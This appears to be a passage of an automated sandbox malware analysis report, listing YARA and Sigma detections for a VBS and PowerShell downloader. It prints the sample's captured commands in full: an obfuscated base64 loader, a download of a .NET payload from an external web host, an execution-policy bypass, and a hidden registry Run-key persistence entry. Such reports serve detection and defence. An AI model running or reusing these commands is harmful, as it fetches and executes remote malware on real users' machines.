4.2.powershell.exe.155c408daf0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.155c408daf0.1.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1726:$h2: //:sptth 0xa7cf4:$h2: //:sptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
33.2.powershell.exe.1c03c941ab0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
33.2.powershell.exe.1c03c941ab0.1.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1726:$h2: //:sptth 0x157cfc:$h2: //:sptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
4.2.powershell.exe.155c5369780.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.155c5369780.0.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1726:$h2: //:sptth 0x157684:$h2: //:sptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
Click to see the 55 entries

Other

Source	Rule	Description	Author
amsi64_6644.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7896.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7728.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\soste

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: Powershell.exe -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' ", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5776, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\_______________________-------------

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1120

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' ", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7280, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" , ProcessId: 7476, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' ", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7280, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs" , ProcessId: 7476, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1, CommandLine: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1, CommandLine|base64offset|contains: I~%, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6644, ParentProcessName: powershell.exe, ProcessCommandLine: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1, ProcessId: 6192, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1, CommandLine: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1, CommandLine|base64offset|contains: I~%, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6644, ParentProcessName: powershell.exe, ProcessCommandLine: powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1, ProcessId: 6192, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: Powershell.exe -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' ", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5776, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\_______________________-------------

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6644, TargetFilename: C:\Users\user\AppData\Local\Temp\xx2.vbs

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1120

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1120

Sigma detected: Suspicious Powershell In Registry Run Keys

Source: Registry Key set

Author: frack113, Florian Roth (Nextron Systems): Data: Details: Powershell.exe -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' ", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5776, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\_______________________-------------

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t 